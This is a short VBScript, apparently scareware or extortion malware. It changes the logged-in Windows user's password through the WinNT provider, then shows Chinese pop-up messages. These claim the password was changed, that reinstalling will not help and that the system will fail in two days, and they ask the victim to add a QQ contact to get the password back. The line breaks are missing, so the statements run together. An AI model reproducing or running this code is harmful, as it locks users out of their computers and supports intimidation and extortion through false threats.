Dim WshNetworkSet WshNetwork = CreateObject("WScript.Network")Dim UserNameUserName = WshNetwork.UserName&",user"Dim DomainSet Domain = GetObject("WinNT://./"&UserName)Domain.SetPassword strPasswordDomain.SetInfoWScript.Echo("你上当了"&TSName)WScript.Echo("你的电脑密码被我改了")WScript.Echo("重装系统是没用的")WScript.Echo("两天后系统就不行了")WScript.Echo("开机会有密码")WScript.Echo("想要密码吗?")WScript.Echo("加QQ")